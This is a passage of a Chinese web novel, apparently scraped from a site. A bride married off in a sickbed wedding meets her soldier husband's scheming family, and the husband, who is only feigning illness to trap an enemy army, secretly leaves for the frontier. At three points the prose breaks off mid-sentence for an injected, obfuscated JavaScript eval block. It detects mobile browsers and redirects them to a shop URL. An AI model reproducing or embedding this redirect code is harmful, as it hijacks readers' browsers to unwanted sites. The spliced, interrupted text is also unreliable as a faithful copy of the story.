比起两年间回京探望潘姨娘时龙精虎猛的样子,如今的裴砚就像是个病猫,气色灰沉精神委顿。被宁王悉心照顾那么久都不见好,足见伤势之重,就算医好了,恐怕也再难如从前般驰骋沙场,前途自然也就毁了。 庶子失势,她乐见其成。 更让她满意的是这个儿媳妇。 既有出挑的容色,足以堵住外头的悠悠之口,也有不值一提的出身,能让她拿侯府婆母的身份随意摆布。更是断了裴砚另娶高门女子的指望,不会踩到自家儿子头上。 真真是称心如意。 范氏瞧着甬道两侧含苞的花木,只觉这春夜的晚风温柔至极。 …… 枕峦春馆里,云娆送走婆母后用过晚饭,便如常歇下了。 夫君病得连路都走不动,母亲先前叮嘱的那些隐秘之事便暂且不必去考虑。这枕峦春馆固然有不错的景致,或许能让她偏安一隅,但毕竟太偏僻,往后晨昏定省,怕是都得早起才行。 明日依礼要拜见阖家长辈妯娌,自是不好懒怠。 院里的事晚些分派不迟,今晚自是得好生歇息的。云娆大事上做不得主,小事上却能善待自身,早早地让人落锁闭户,卸了妆容睡大觉。 翌日晨起,换上新妇的梳妆打扮,由常嬷嬷和青霭陪着往侯夫人住的如意堂去拜见。 才刚走出院门,便因一道身影而怔住—— 病得无力走路的裴砚坐在肩舆上,就在院外十余步处等着她,身体半仰眼睛微阖,不知是在养神还是因虚弱所致。 云娆原以为他今日不会出现,瞧见这人影倒是一愣,旋即快步上前,规规矩矩地唤了声将军。 裴砚抬起眼皮,视线落在她的身上。 片刻后,他低声道:“抱歉。” 这话说得没头没尾,云娆一时间没回过味来,不知他是为昨晚留她独守空房而抱歉,还是因让她冲喜的事而抱歉。 但不管是哪种,这事都不能怪他。 婚事是范氏和江家老两口促成,而征战沙场保疆卫土的男儿,应该没有人愿意落到如今的境地。 云娆仰头迎上他的视线,云鬓边珠钗轻摇,于清晨初照的阳光下勾起笑意,“愿将军早日痊愈,罄无不宜,受天百禄。” 8. 侯府 天际云霞灿烂,近处草木生光。 裴砚垂眸,对上少女眼底清澈而诚恳的笑意时稍感意外。 他今日原本不必去如意堂。 总归回京那日宁王就跟老侯爷打过招呼,昨日那病歪歪的样子又是人所共睹,今儿早晨即便不露面,想来也没人会明着说什么。 ——便是说了,裴砚也不在乎。 但云娆终究与他不同。 昨日贺客满堂,那些明处与暗处的眼睛盯过来时,裴砚根本无需做什么,只消借着郎中给的药将病情装得以假乱真就行。既是重病,他自然没力气与人应酬闲谈,百无聊赖中,瞧见喜娘拥着凤冠霞帔的少女来拜堂,难免多打量两眼。 隔着花扇,她凤冠下的眉目不甚分明。 但人的气度却是藏不住的。 虽然只是堂前短促相见,裴砚也约莫感觉得到这姑娘并非骄矜不懂事的人。 既然人家并无错处,无端被范氏卷进侯府里登不得台面的算计,好好的婚事拿冲喜之说敷衍过去,他纵因边疆战事的安排不便挑破,心中到底过意不去。 今晨特地拖着病体赶过来,也是怕小姑娘孤零零过去时会被欺压了去。 来的路上,他还以为云娆会心存委屈,谁知回答他的却是含笑的祝愿? 裴砚心中不免诧异。 视线也不自觉在她身上驻留。 仲春的晨风仍有些清寒,她玉色罗裙之上穿了鸳鸯锦的盘金外裳,缀着宫绦的细锦勾勒出袅娜腰肢,外头则披了件浅色绣合欢的薄披风,行走间摇曳生姿。 系成蝴蝶的丝带衬着一张很漂亮的脸蛋,红唇轻点,黛眉淡描,那双眼清澈有神,安静中又暗藏灵动,仿若山间清泉。 这姿容确实如宁王所言,出挑得很,尤其她笑起来的时候,便是周遭春光都须逊色三分。 裴砚竟自勾了勾唇,“承你吉言。” 而后抬手示意,仍由几个小厮们抬着肩舆,夫妻俩一前一后地往如意堂走。 枕峦春馆离如意堂很远。 侯府的两房的住处安置与江家有点相似,以老侯爷的书房和老两口起居的如意堂为轴,长房的人多半住在东边,二房则居于西侧。 从枕峦春馆出去,沿着曲折的花木甬道和游廊短墙,需先后经过周姨娘和一双儿女的住处、老五裴见祐夫妇的住处、老三裴见泽夫妇的住处,以及云娆的公婆裴元曙和徐氏的住处才能到老夫人跟前。 靠着两只脚走过去,折来绕去的少说也得大半炷香的功夫。 每日来回一趟,足够强身健体了。 云娆昨儿来时已体尝过,今晨特地穿了轻便舒适的鞋子,这会儿走着倒也不累。 视线打量周遭草木院落之余,不时也会落在裴砚背上。 昨日匆匆一会,拜堂时隔着花扇,她其实没太瞧清这位猛将的眉眼长相,直到今晨才算看了个清楚—— 年已廿五的男人早已褪去了少年郎的翩然,久经沙场风霜之后眉眼有几分凌厉,虽说肤色不似京城那些娇养的富贵公子般白皙,却也与常人没太大不同,不似想象中晒黑的模样。 他皮相其实生得很好,轮廓利落身姿端毅,哪怕是病着没力气走路,视线相接时仍让她觉得那双眼深邃湛然,不太好捉摸。 能震慑强敌的自然不是寻常之辈。 云娆嫁进来之前听兄长提过一些裴砚在沙场的战功,此刻瞧着他病歪歪的背影,倒真盼着他早些痊愈,能肆意驰骋沙场。 夫妻俩就这么沉默着到了如意堂。 - 如意堂是老侯爷夫妻俩的居处,阖府拱卫的所在,修得古朴而贵重。 临水而筑的庭院占地不少,门口用细花篾簟编了精致的墙门,里头嘉树扶疏,高阁重堂,错金描漆的画廊下站着十余位丫鬟仆妇。 见裴砚的肩舆落定,由小厮搀扶着走进来,便有人早早地打起了帘子。 云娆乖乖跟在他的身后。 绕过门口松鹤延年的屏风,便有沉香味送到鼻端,云娆微微抬眼,映入眼中的是满屋的绮罗珠玉。 原本甚为宽敞的厅里已经坐了不少人,倒显得屋里有点拥挤。 最上首是年近古稀须发半白的老侯爷裴固,额头上皱纹分明,看神情有点严肃古板。旁边的太夫人戴了暖帽,身上夹袄质地贵重,缀以猫儿眼等宝石,正把玩着一支灵芝玉如意。 左边一溜方椅,最上首坐的应是裴元晦夫妇,旁边是位珠光宝气的美妇,华美精致的衔凤金钗格外惹眼,想必便是掌家的少夫人薛氏。 下首的来不及细看,便听对面的公爹裴元曙道:“你身子还没好,怎么也过来了?” 这话自然是对着裴砚说的。 裴砚病恹恹的坐在一张空着的椅中,稍稍欠身道:“新妇刚进门,总得给她带带路。”说完便问候上首的长辈们,只说失礼云云。 老侯爷裴固摆摆手,让他安生坐在椅中。 ——不管府里如何看这庶子,裴砚这些年戍守边塞屡立战功,为众位兄弟所远远不及,给侯府的门楣增色不少。加之他习武之人性情刚毅,又与宁王交厚,当着面坐在一处时总归要格外给两分颜面。 而他今日拖着病体给新妇引路,也可见维护之意。 范氏闷着头喝茶,神情不咸不淡。 倒是对面的大夫人崔氏笑道:“先前只听说弟妹给老二挑了个美貌佳人,今日一见,果真所言不虚。” “可不是。听说江大人当初是为救百姓而殉身,弟妹也算是为朝廷鞠躬尽瘁的良臣之后,二婶挑人的眼光还是那么好。”说话的正是那位出自公府的大少夫人薛氏。 这话虽然是顺着自家婆母出言夸赞,听在范氏耳中却如同讽刺。 侯府就这么大点地方,谁还不知道谁的心思? 长房有望承袭候府爵位,给身为嫡长子的裴见明娶了这么一位光彩夺目的凤凰,仗着公府嫡幼女、贤妃堂妹的身份,婆媳俩平素颇为张扬。 偏巧范氏出身寻常,因嫡出的老三尚无功名在身,费尽心思也只娶得一位出自伯府的儿媳,老五因自幼体弱,娶的则是位与皇室沾亲的医官之女。 如今云娆虽被如此夸赞,其实谁都知道人走茶凉,江家的顶梁柱早就塌了,娘家门第在侯府里实在算不上什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555017|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那婆媳俩分明是在暗嘲她膝下几位儿媳的身份! 范氏听惯了这种话,只敷衍着笑了笑。 几人说话间陆续又有人来,范氏扫了眼对面的座次,见只有一处空缺,便向太夫人道:“母亲,怎么不见玉琳那孩子?” “她昨儿晚上吹着风回去,怕是受了寒,回头你去瞧瞧,别真叫她病了。”太夫人说着,看向长媳崔氏—— 裴玉琳是长房吴姨娘所出的庶女,年已十七,再过几个月就该嫁进淮王府做侧室,因而颇受长辈看重。 崔氏嘴里应着,心里难免有点不痛快。 虽说来拜舅姑的新妇身份不值一提,但裴砚毕竟算是个兄长,又是宁王撑腰看重的武将,官职比兄弟们都要高,她一个庶女姗姗来迟,看着倒像她这嫡母管教不严似的。 便垂首撇着茶叶,不作声了。 云娆随即依礼为诸位长辈奉茶拜见,将提前备好的东西挨个奉上,而后与妯娌姑嫂等挨个相见。 …… 母亲列的单子很管用,人名与长相挨个对上,倒也好记。 一圈下来,云娆嘴角都快笑僵了,好容易能坐下来歇歇,不得不感慨侯府人口之兴旺。 老侯爷膝下三个儿子,三房的裴元绍跟家里闹翻后跑去西川节度使帐下做事,甚少回京,如今只长房裴元晦和二房裴元曙住在侯府。 长房崔氏膝下有两子两女,裴见明和薛氏自不必说,老四裴见青的妻子明氏也让云娆印象深刻。 迥异于薛氏的张扬,明氏性子温婉沉静,待人也谦和有礼,更难得的是她的娘家—— 她的祖父是位很有声名的大儒,虽则早已辞官退隐,实则颇受人推崇。且她家有座名闻京城的藏书楼,里头四万余卷藏书都是精挑细选,明老太爷为造福读书人,还选了许多书来刻印,从文字校勘到用墨选纸都花了心思,质地比外头书坊的精良数倍。 云娆从前学刻雕版,还特地请人寻了他家的板子来观摩,就连兄长读书时都曾因明家私刻的书而受益不少。 如今见着明氏,自是暗觉亲切。 崔氏嫡出的长女早已出阁,次女名叫雪琼,年才十五,人如其名,当真如雪色琼花。 裴元晦身边几位姨娘,唯有住在捉月院的吴姨娘膝下未空,养着裴玉琳和裴见熠两个孩子,只是裴玉琳迟迟没来,不知是不是真的病了。 二房范氏膝下则是两个儿子。 老三裴见泽生得俊逸,妻子孙氏热情含笑;老五裴见祐自幼体弱,妻子也寡言少语,许是常年捣鼓药材的缘故,身上有股淡淡的草药香气。 侧室柳姨娘膝下则养着裴锦瑶和裴见晔姐弟俩。 至于裴砚的亲生母亲潘姨娘,非但没在昨日婚礼和今晨拜见时露面,连名字都没人提及,像是有意无意地避开一般,倒让云娆备感意外。 裴砚似乎也懒得跟这些人多掰扯,等云娆挨个见礼毕,便让人扶着站起了身。 “孙儿得回去喝药,先告辞了。”他没多瞧裴元曙夫妇,只朝裴固病歪歪地行了个礼,而后视线有意无意地扫向云娆,似是询问她要不要一道回去。 9. 初见 云娆才刚喝口香茶歇了歇脚,撞上裴砚询问般的目光,一时间倒有点犹豫。 方才一圈拜见下来,她看得出裴砚跟侯府的人实在不算亲密,莫说几位兄弟妯娌,就是对父亲裴元曙和裴固都颇冷淡,说的话加起来不到五句。 且自始至终神情疏离,不曾流露半分笑意。 可云娆明明记得今晨在枕峦春馆外他其实是笑过的,哪怕笑得很浅,也比在如意堂时温和多了。 这会儿径直告辞,丝毫不顾裴元曙父子的脸色,足见生疏。 云娆既嫁给了裴砚,不论自愿与否,如今还是得跟夫君安稳相处。且论私心,她也不太想留在这里听长辈们扯闲话。 不过毕竟是新妇,今日拜见来的是如意堂,往后晨昏定省还是得去婆母的住处,若不先认个路,未免有点尴尬。 心念迟疑间,忽觉手腕被人按住。 就见三弟妹孙氏含笑道:“二嫂昨儿刚进来,吃住可还习惯么?” 云娆的年纪比她小好几岁,被这声“二嫂”叫得心里一颤,只好笑回道:“都很妥帖,没有不习惯的。” 这么一打岔,裴砚就没再等云娆,自管让人扶着出了院子坐肩舆回去养病了。 剩云娆坐在如意堂里,听长辈们叽里咕噜地扯了一大堆,陆续送走外头还有事的男人们和回屋喝药的裴见祐夫妇,只等将近午时才散了。 崔氏和薛氏婆媳俩说笑着往东走,明氏和裴雪琼落后她们半步,临走时冲云娆笑了笑。 孙氏则先送婆母回住处。 柳姨娘膝下的裴锦瑶年已十六,却还没定下人家,虽说在云娆跟前摆着侯府千金的谱,对嫡母却颇讨好。见范氏似要同云娆说话,她竟自抢先一步赶上去,亲热地扶住范氏的手臂,提醒她当心脚下。 云娆心里对范氏藏有芥蒂,乐得不去伺候,只依礼数陪在旁边。 沿着游廊走一阵,便是范氏住的惠荫堂。 范氏寻个由头打发裴锦瑶离开,见云娆一直规规矩矩地跟在旁边,心里舒坦了点,道:“老二是个武将,难免性子粗豪脾气刚硬,你既嫁了他,平日里该多加劝说,再不能如从前般我行我素。” “媳妇记着了。”云娆口中道。 范氏便又拍了拍孙氏的手,“往后你们就是妯娌了,你进府更早些,平日里也该多加照顾,别叫她在咱们府里受委屈。” “那是自然!二嫂生得好模样,性子又温柔和善,我喜欢得很呢!”孙氏笑着打起帘子,和云娆一道安顿范氏用过午饭,到里头歇下午觉后才动身告辞。 出了惠荫堂,妯娌俩都得往西走。 孙氏吩咐了丫鬟去折花枝,又向云娆道:“咱们府里如今是大嫂嫂管内院的事。她是公府出来的,又是贤妃娘娘的堂妹,见识气派自然远胜旁人。往后你院里要什么东西,或者跟婆母和我说,或者打发人去找她都行。” 她在如意堂时有意避着薛氏的风头,这会儿倒是开了话匣子,将薛氏一顿猛夸,仿佛那是个万般周全的人物。 云娆也不知真假,照单全都听了,到岔路时与她辞别而后回枕峦春馆去。 孙氏就近看了几株尚未凋谢的茶梅,等丫鬟剪来新开的花枝,又亲自插瓶让送去惠荫堂给周妈妈。 那边周妈妈接了,便送进卧房。 里头范氏仍旧躺在榻上,却还没睡着。 听见动静,她抬起眼皮看了眼花瓶,问道:“老三媳妇送来的?” “可不是么,三少夫人待您向来有心的。” 范氏不置是否地笑了笑,又道:“那你瞧新来的这位呢?” “夫人亲自挑的人自然错不了。”周妈妈笑着,往花枝上洒了点水,“据奴婢看,她的性子倒还算安分谨慎,想来也不敢像那位似的忤逆。” “小门小户的丫头,运气好能嫁进侯府,自然要谨慎行事。毕竟是才嫁进来的,这阵子你让老三媳妇多照看些,别闹得院里缺东少西,让人传出去说闲话。至于往后,就看她的造化了。”范氏闻着淡淡的花香,原本皱着的眉头微微舒展。 周妈妈笑道:“夫人放心。杏花阁咱们插不上嘴,枕峦春馆却还是照顾得到,若能让她俯首帖耳的,也不枉夫人操心这一场。” 范氏嗤笑,嘲道:“可别提杏花阁了。宁王那样大张旗鼓地护着他,他却还是半死不活的吊着口气,眼瞧着是要废了。” “若真个治不好,那也是他的气运。” “那是自然。我这嫡母为了他的性命安危,放下身段去那小门户为他求亲冲喜,又善待新妇,也算仁至义尽。”范氏说到这里,唇边讽笑愈深,“至于他么,杀孽造多了自然要偿还的。” …… 数道墙垣相隔,杏花阁此刻门窗紧闭。 裴砚可没功夫管府里那些小心思,只管就着一壶新启的醇酒,站在花梨长案边琢磨一张北地舆图。 屋外高树掩映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555018|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,柳枝儿才抽了新丝,引得双燕斜飞。 宁王魏铎今早下朝后被承平帝召去御前问话,出来后又碰上太子和皇后,敷衍半天才得以脱身,出宫后直奔靖远侯府。 侍卫把守的阁楼无人搅扰,他径直推门踏入屋中,闻到淡淡酒香,瞧着明晃晃的日头透窗而入照在裴砚肩上,不由道:“你这儿倒是清净。” 裴砚闻声回首,拱手行礼道:“怎么,殿下又嫌京城事多了?” 宁王头戴金冠身着锦服,在朝堂上是端贵威重的领兵皇子,这会儿却无需讲究仪态,翘着脚坐进窗边圈椅里,自管倒了热茶来喝,拧眉道:“虽说都是小事情,应付起来却也麻烦,来来回回都是那点小心思,没什么意思。” 裴砚便笑了笑。 靖远侯府这么大的地方尚且藏了无数的小算计,何况宁王身在皇家。虽说驻守边塞的皇子不太受圣宠,但既是领兵之人,回到京城总难免引人提防试探。 这些事说起来确实无趣,裴砚便让他尝尝今晨侍卫送来的糕点,又问道:“外面有动静了么?” 提起这茬,宁王又有了兴致。 “昨儿你迎娶佳人新婚大喜,外头实在是热闹!”他倾身靠近些,比了个手势—— “宾客的随从里少说四五个通风报信的,还都来自不同的人家,我从前竟不知京城藏了这么多北夏暗探。” 裴砚乐见这样的意外收获,“既是他们自投罗网,倒省得咱们费力。” “也可见北夏为了探清楚虚实,有多舍得下血本。不过成败在此一举,没了你这拦路虎,那老太后总该没忌惮了。”宁王口中玩笑着,神色却是稍肃,“消息昨日就出了京城,想来不出几日北夏就会挥兵南下,咱们且等着消息就是。说起来,这些天还是得委屈你装病。” “我倒无妨,就怕殿下耐不住聒噪想早些北上。”裴砚调侃。 宁王笑道:“好容易能诱对方上钩,我若轻举妄动被人察觉,这番筹谋岂非功亏一篑?不过我确实想早些斩除屠长恭这隐患班师回京。” “如今内乱频生,朝廷是缺人手。”裴砚颔首道。 “也不止是为这个,还有件大事得回京来办。” “什么?”裴砚疑惑望向他。 就听宁王道:“还没给你闹洞房呢!” 裴砚还以为是什么要紧事,听见这个,不由把啃了一半的青枣丢过去。 宁王侧身躲过,竟自笑了起来。 10. 吓唬 枕峦春馆里,云娆轻轻打了个喷嚏。 绿溪刚把熏好的衣裳放进柜子,有点担心道:“姑娘莫不是着凉了?” “什么姑娘,既住进了这里,往后该改口叫少夫人了,没得让人听见了拿住话柄。”常妈妈一面提醒,一面就想让人去熬姜汤。 云娆正指挥金墨收拾妆台,闻言笑道:“哪就那么娇弱了,不必炖姜汤。倒是里头的书架都腾出来了么?” “青霭正带人收拾呢。”常妈妈瞧她面色红润,不像着凉的模样,便去东厢房梢间帮忙。 云娆也掀帘去外头瞧瞧。 她陪嫁的东西婚礼前就抬过来了,都堆在小库房里。昨儿大婚无暇顾及,今晨既拜见过长辈,正好趁得空该将东西收拾整齐些。 日常用的衣裳首饰和胭脂水粉最好打理,寻常不用的箱笼摆件自可收在库房,其余最让她惦记的便是小书房。 枕峦春馆虽说偏远,地方其实颇宽敞,正屋旁边连着东厢房,是日常起居所用,后头非但有抱厦和倒座房,还有个小厨房能做些简单的吃食。院里西边是片空地,靠墙栽了两排青竹,当中一棵葳蕤繁茂的流苏树,旁边的凉亭上攀着紫藤架,很适合闲坐纳凉。 因裴砚病着不让随意探视,夫妻俩话都没说两句,云娆不好擅自改正屋的布置,便挑了东厢房的梢间做小书房—— 那屋子格局紧凑,给裴砚作书房未免失于逼仄,给她用倒刚好。里头有现成的书架和桌案,最妙的是临窗种着一株秀致的槭树,四季风致各有不同,云娆只瞧一眼就看中了。 这会儿青霭带着两个小丫鬟将里头又打扫一遍,云娆便让仆妇抬了她的书箱进来。 旁的书都归置好,最后便是云娆心爱的雕版。 从前雕的板子都还在东竹院放着,云娆这回只带了最喜欢的几幅和手上正雕刻的那两块——其中一幅是给相熟的书坊,另一幅则是经变雕版画,先前已雕刻了大半,后因婚事耽搁了还没雕刻完。 版画的雕刻是极精细的活儿,需静下心来心无旁骛地慢慢雕琢,云娆时常要连着在窗边安静坐大半个月才能雕好一幅。那还得是简单些的,若画得繁杂些,凭她如今的能耐,怕是一个月都未必能雕完。 这阵子忙于婚事耽搁了许多功夫,如今既尘埃落定,是该腾出功夫静心雕刻了。 云娆轻轻拂过银杏木版,小心放进抽屉里。 如是忙活了整日,东西全都归置妥当,又把院里的仆妇丫鬟召到跟前说了话,才算得空用晚饭歇下。 坐落在偏僻矮丘旁的庭院格外安静,垂落的红绡软帐隔断昏暗烛光,云娆睁着眼睛躺在这张仍旧陌生的榻上,映入眼中的是新婚的鸳鸯和合欢刺绣。 枕榻旁宽敞却空落,她瞧着旁边准备的另一个喜红枕头,这才想起她还有个夫君。 虽说不能去探视,但既担了夫妻之名,若一直不闻不问是不是不太好? 云娆对夫妻之道没什么经验,临睡前想着这事儿,稍微有点纠结。 …… 翌日清晨,便该先往婆母处问安。 云娆这桩婚事固然是祖父母利欲熏心之下答应的,范氏做事却也不算地道。加之裴砚在侯府处境特殊,她对范氏自然也说不上亲近,只不过既担了少夫人的虚名,礼数上总不能太疏漏。 好在夜里歇得早,加之春夜安静能得以好眠,翌日神清气爽的醒来时天色尚早,便从容更衣洗漱垫垫肚子,而后带绿溪出门。 晨风微凉,吸入肺腑时却觉得清冽。 云娆权当晨起赏花,到惠荫堂给婆母问安后,又陪她往如意堂去看望太夫人。 新婚的喜庆劲还没过去,两房儿孙往如意堂跑得也勤快。到了那边,非但碰见长房的崔氏和薛氏婆媳,还瞧见了昨日不曾露面的裴玉琳。 两厢见面,裴玉琳只疏冷地叫了声二嫂,也不曾解释昨日缺席的缘故。 云娆自不会计较这些。 嫁进侯府之前便预想过在婆家的处境,似薛氏那般隐然的倨傲和裴玉琳明显的傲慢都在预料之中,反衬得裴雪琼与明氏的和善难能可贵。 云娆初来乍到,自是以礼相待。 等问候完毕,与孙氏一道将婆母送回惠荫堂,才算是完成了任务,而后脚步轻快地回到枕峦春馆。 甬道两侧迎春怒放,亦有桃花含苞待绽。绿溪陪云娆去长辈处问安时守着规矩不敢言笑,这会儿神情却松快了许多,挑了两支开得漂亮的折回院里,拿素净的乳白插瓶供起来摆在窗边,日头映照下只觉春意盎然。 云娆就着茶点歇了片刻,让绿溪帮她换着衣裳,又将常妈妈叫到跟前。 “咱们那间小厨房,妈妈觉得用着如何?” “锅灶碗盏倒是齐全的,今早我做糕点时也都还好使。只是这里毕竟人少,里头备的菜不多,要用时须到大厨房去领。” “那倒无妨。”云娆点点头,自将春衫上的丝带系好,“虽说将军病着不让打扰,但我总觉得不闻不问有失礼数。不如待会吩咐人做份汤,到时候请妈妈带个人亲自送过去,看看他怎么说。” 常妈妈闻言,不由笑道:“这正合我的主意。咱们虽说不能坏规矩,但放着那么个病人半句话都不问,到底也不合适。” 遂让人去大厨房领了几样新食材过来,亲自下厨做了份热汤,就着今晨做好的糕点一道装进食盒里。 而后让院里原先领头的大丫鬟带路,亲自往杏花阁送去。 到了那边,也没敢随意窥视,只将来意向把守的侍卫道明,只说是少夫人担忧将军病情,特地送来点小心意,请侍卫代为转交。 侍卫接了食盒送入屋中。 少顷,便将空着的食盒拎回来,道:“有劳少夫人费心,将军说味道很好。只是将军养伤时多用药膳,凡事都有宁王殿下安排了专人操心。将军说请少夫人不必担忧,安心住着就是,等他伤愈时自会去探望。” 这话说得委婉,意思却很明白。 常妈妈忙道:“既如此,就不再相扰了。将军这里若有要做的只管吩咐,少夫人定会尽心照料的。” 说罢,陪着笑辞别,回到枕峦春馆后将侍卫的话原样转述。 云娆听了,心头倒是为之一松。 她固然对这强行安排的冲喜婚事不情不愿,却也钦佩裴砚上阵杀敌舍身护国的仗义。先前瞧他与侯府关系疏冷,还有点担心他虎落平阳后心绪欠佳,以致病情缠绵久久不愈。如今看来,倒是她多虑了。 宁王殿下亲自安排,自然能比侯府周全许多。 何况裴砚是镇守边塞的要紧人物,既特地安排了侍卫把守,想必另有缘故。如今示好的态度既已表清,裴砚又发了话,就不必再去添乱。 便将此事暂且放下,待午歇起来后一头扎进了书房。 从江家小院到侯府深宅,没了母亲和长嫂在身旁,又须面对侯府里性格各异的长辈妯娌,要说心里不难受那是假的。 但日月无古今,书房也多相似。 坐在临窗的长案跟前,就着窗外的暖阳柔风,只消安静下来将心思扑在雕版上,云娆的心里就剩下这尺许的天地。 缠着麻绳的小刻刀是用惯了的,长年累月雕刻后的指腹也有层薄薄的茧,她循着早已摹好的线条一点点雕刻,青霭则安静陪坐在旁,适时帮她擦拭木屑。 整个后晌仿佛只在转眼间便已过去。 待日色西倾时,云娆起身伸了个懒腰活动筋骨,而后去惠荫堂问候婆母。 如是十余日,雕版上的画终于变得清晰。 而草木相隔的杏花阁里,裴砚也终于迎来了期待已久的消息。 …… 先前宁王放出裴砚重伤的消息时,北夏太后便觉良机不可失,盯着边塞蠢蠢欲动,只因屠长恭格外谨慎才一直没调动大军。 直到裴砚大婚,憔悴虚弱的样子清晰落入众人眼底。 消息递去,北夏太后再也难以按捺。 屠长恭起初还担心其中有诈,待得探查敌情的前锋冲破大梁防守,而京城侯府仍无动静时,便再不迟疑地逮住机会率大军南下。 早已布好的陷阱严阵以待,宁王也不再耽误,直奔裴砚的住处。 已是戌初,夜色四合。 裴砚得知屠长恭挥兵南下时便已摩拳擦掌,连北上的行囊都收拾好了,此刻时机成熟,自是恨不得插翅飞往边塞。 不过夜色未深,终不及半夜出城稳妥。 宁王气定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555019|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神闲地坐在桌边喝茶,裴砚临风站在窗前,心思从边塞收回时,忽而想起一事。他稍稍迟疑了下,取张纸笺铺在桌上,挥笔写了简短的字条,而后折入信封,让留守的侍卫明日送去给老侯爷,切勿让旁人知晓。 旁边宁王瞧见,不由道:“怎么,还有事叮嘱老爷子?” “让他照看着点江氏。”裴砚淡声。 宁王稍觉意外,挑眉道:“行军之前还能记着安顿好后宅,学会护短了,不错。” 裴砚听出其中的调侃,侧目道:“不是你说她为国出力,不能亏待么?” “我说过吗?”宁王摊手。 裴砚这十余年杀伐征战,做事向来利落决断,难得惦记个小姑娘还被宁王打趣,一时间不好应对,只淡声道:“我出去一趟,很快回来。” 而后推门出去,借着夜色直奔枕峦春馆。 ——那位冲喜的倒霉蛋不知侯府内情,若范氏将积攒多年的怨气撒到她身上,那就真是倒霉透顶了。 老侯爷管不到琐事,终归还是得让小姑娘心里有些准备。 …… 枕峦春馆里,云娆正打算安寝。 因裴砚病着不宜劳累,新妇回门的事就耽搁了下去。她既没法回去看望母亲兄嫂,就只能安生住在这里,揣摩着侯府众人脾性之余,静心在这方小天地里摆弄她的雕版。 今夜与以往并无不同,她用过晚饭后散步消食翻了会儿书,便早早地沐浴洗漱换了寝衣,打算早睡早起,免得去给婆母请安时犯困。 院门早已落锁,灯盏也已半熄。 云娆没有让人上夜的习惯,只安排金墨她们轮流睡在侧间,有事时能照应即可。 这会儿金墨铺好床褥后去了外间,云娆只留了两盏近处的烛火,就着半卷的帘帐倚着软枕翻书,顺便养一养睡意。 外面似有风动竹梢,隐约蹭在窗槅。 云娆没太在意,却在这分神的间隙里打个哈欠,遂掩上书卷放在枕畔,准备熄灭灯盏睡觉。 才刚抬头,忽然发现珠帘旁不知何时多了一道男人的身影,正大步朝她走来。 她被惊得险些叫出声,那男人也如疾风般扑到床榻,伸手紧紧捂住她的嘴巴,将惊叫尽数捂回喉咙。 “是我。”压得极低的声音,却有点耳熟。 云娆惊魂未定,瞪大了眼睛盯住这不速之客,终于借着烛光看清了他的脸。 ——是裴砚。 只是此刻的他精神焕发出手如电,丝毫不见前些日病恹恹的憔悴模样,那只常年握剑的手稍觉粗粝,压在她柔软的脸蛋时颇为用力。 他……这么快就痊愈了? 云娆惊愕地看着他,确信不是歹人后心神稍松,这才想起她此刻穿的是宽松的寝衣,因觉得有点闷,还敞了最上面的两颗盘扣,几乎将上半边胸脯露出来。 她赶紧拽住合欢锦被,将身体藏住。 裴砚顺着她动作往下扫了眼,正好瞧见尚未被遮住的一片雪色,心头微跳时,仿若无事地迅速收回视线,低声道:“有两件事叮嘱你。” 云娆“唔”了声,发不出声音就只能眨巴着眼点头。 温软的肌肤微微蹭过男人的掌心,是从未有过的触感,而那双漂亮清澈的眼睛望着他时,只觉乖巧而无辜。 裴砚不自觉松了手。 “我跟侯府关系不太好,走后或许会有人找你的茬。若他们欺负你,不必计较,等我回来收拾。”他说得直白,压低的声音几乎凑在她耳畔。 云娆懵懵的点点头。 裴砚接着叮嘱,“若有人察觉我已失踪,不必掺和,就说你也不知情。” 云娆点头如捣蒜。 裴砚看着她小心翼翼不敢出声的模样,有点想笑,脸上却是笼了肃色,“今晚的事绝不可向外透露,否则——”他双眼微凝,手掌摸到她的脖颈轻轻捏了捏,寒着脸吓唬道:“我就拧断你脖子!” 见小姑娘似被吓住,他满意地丢下一句“好生过日子”,便起身悄无声息地走了。 剩云娆孤零零藏在锦被里,不自觉缩了缩脖子。 虽然不知道裴砚这是在闹哪出,但他这样勇武的人,若真想揪下她的脑袋,恐怕是轻而易举的吧? 11. 挑刺 裴砚失踪的事,直到十日后杏花阁的侍卫撤尽才被侯府众人察觉。 因侍卫们把守得严密,甚至没人知道他是何时离开的。 老侯爷裴固最初觉得诧异,收到裴砚留下的信封后才大约猜到原委,遂将纸条烧了,转头便让人别大惊小怪,权当无事发生。 北夏与大梁交战的消息早已传到京城,侯府众人都有所耳闻,猜得裴砚或许是被宁王带走了,倒也不敢说什么。 唯有范氏忿忿不平。 